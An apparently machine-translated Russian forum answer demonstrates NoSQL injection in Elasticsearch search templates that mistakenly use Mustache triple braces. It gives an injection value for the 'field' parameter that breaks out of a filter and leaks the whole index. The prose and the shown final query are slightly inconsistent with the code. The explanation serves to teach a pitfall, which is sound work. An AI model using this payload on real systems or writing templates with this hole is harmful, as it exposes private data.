Вы можете найти все ранее обнаруженные недостатки безопасности в ES, но внедрение NoSQL никогда не было одним из них ... пока.
Однако вы можете найти некоторыелитература , в которой говорится о том, как это сделать.Также стоит прочитать другие обсуждения и ресурсы .
В качестве быстрого примера, безусловно, можно создать атаку с использованием NoSQL-инъекции, используя шаблоны поиска, использующие язык шаблонов Mustache.Например, скажем, у нас есть два следующих документа:
PUT attack/doc/1
{
"field1": 2,
"field2": 1
}
PUT attack/doc/2
{
"field1": 2,
"field2": 2
}
И шаблонный запрос на field1
, который (ошибочно) использует тройные усы:
POST _scripts/attack
{
"script": {
"lang": "mustache",
"source": """
{
"query": {
"bool": {
"filter": [
{
"term": {
"field1": {{{field}}}
}
},
{
"range": {
"field2": {
"gte": 2
}
}
}
]
}
}
}
"""
}
}
Используя умно выбранныйзначение для параметра field
, мы можем утечь весь индекс:
POST attack/_search/template
{
"id": "attack",
"params": {
"field": "2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}"
}
}
Окончательный запрос будет выглядеть следующим образом, т.е. мы смогли вставить предложение must, которое в основном пропускает весь индекс:
{
"query" : {
"bool" : {
"filter" : [
{
"term" : {
"field1" : 2
}
}
],
"should" : [
{
"range" : {
"field2" : {
"lte" : 2
}
}
},
{
"range" : {
"field2" : {
"gte" : 2
}
}
}
]
}
}
}